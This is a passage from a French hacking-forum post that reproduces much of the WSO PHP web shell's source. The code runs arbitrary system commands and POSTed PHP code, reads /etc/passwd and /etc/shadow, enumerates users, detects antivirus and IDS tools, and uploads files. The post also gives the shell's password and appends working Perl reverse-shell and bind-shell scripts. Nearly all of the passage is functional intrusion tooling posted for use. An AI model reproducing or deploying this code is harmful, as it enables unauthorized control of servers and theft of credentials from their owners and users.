. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
function posix_getpwuid($p) {
return false;
}
}
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
function posix_getgrgid($p) {
return false;
}
}
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in, $out);
$out = @join("
", $out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in, "r"))) {
$out = "";
while (!@feof($f)) $out.= fread($f, 1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if (is_int($s)) $s = sprintf("%u", $s);
if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
else return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000) $i = 's';
elseif (($p & 0xA000) == 0xA000) $i = 'l';
elseif (($p & 0x8000) == 0x8000) $i = '-';
elseif (($p & 0x6000) == 0x6000) $i = 'b';
elseif (($p & 0x4000) == 0x4000) $i = 'd';
elseif (($p & 0x2000) == 0x2000) $i = 'c';
elseif (($p & 0x1000) == 0x1000) $i = 'p';
else $i = 'u';
$i.= (($p & 0x0100) ? 'r' : '-');
$i.= (($p & 0x0080) ? 'w' : '-');
$i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
$i.= (($p & 0x0020) ? 'r' : '-');
$i.= (($p & 0x0010) ? 'w' : '-');
$i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
$i.= (($p & 0x0004) ? 'r' : '-');
$i.= (($p & 0x0002) ? 'w' : '-');
$i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if (function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) $files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if (!empty($path)) return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if ($v) {
echo '<span>' . $n . ': </span>';
if (strpos($v, "
") === false) echo $v . '<br>';
else echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
$temp = array();
if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
if (function_exists('mssql_connect')) $temp[] = "MSSQL";
if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
if (function_exists('oci_connect')) $temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if ($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['safe_mode']) {
$userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
$danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
$downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
echo '<br>';
$temp = array();
foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
wsoSecParam('Userful', implode(', ', $temp));
$temp = array();
foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
wsoSecParam('Danger', implode(', ', $temp));
$temp = array();
foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
wsoSecParam('Downloaders', implode(', ', $temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid) $temp.= join(':', $uid) . "
";
}
echo '<br/>';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version', wsoEx('ver'));
wsoSecParam('Account Settings', wsoEx('net accounts'));
wsoSecParam('User Accounts', wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if (isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'
Mdp : ololo11 // ça sent le blaz de merdeux ...
Bonus :
function actionNetwork -> $back_connect_p
Code PERL :
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);
function actionNetwork -> $bind_port_p =
Code PERL :
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
accept(CONN,S);
if(!($pid=fork)) {
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
Vu le nombre de fichier upload ... le topic va être blindé .... :')
|
Accueil du forum
Tableau de bord
Liste des membres
Qui est en ligne?
Mon profil
Messages privés
Nouveau message
Recherche
Calendrier
Zine
URL de redirection
Créer un PasteBin
Classement (Top 100)
Proposez un challenge! 
Hacking
Hacking 
Spirit of hack
Messages: 32 820
Client IRC en ligne
